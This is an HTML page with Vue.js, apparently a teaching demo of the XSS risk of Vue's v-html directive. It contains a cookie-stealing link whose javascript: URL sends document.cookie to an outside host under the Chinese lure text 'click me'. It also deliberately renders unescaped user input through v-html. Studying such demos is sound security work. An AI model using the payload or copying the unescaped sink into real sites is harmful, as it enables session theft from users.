<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="../js/vue.js"></script>
</head>
<body>
    <div id="root">
        <div v-html="info"></div>
        <div v-text="msg"></div>
        <hr/>
        <input type="text" v-model="value">
        <button @click="submit">提交</button>
        <div v-html="value1"></div>
    </div>
    <script>
        Vue.config.productionTip = false;
        new Vue({
            el: "#root",
            data: {
                info: "<a href=javascript:location.href='https://www.baidu.com?' + document.cookie>有你想要的，点我开来！！！</a>",
                msg: document.cookie,
                value: "",
                value1: ""
            },
            methods: {
                submit(){
                    this.value1 = this.value;
                }
            }
        })
    </script>
</body>
</html>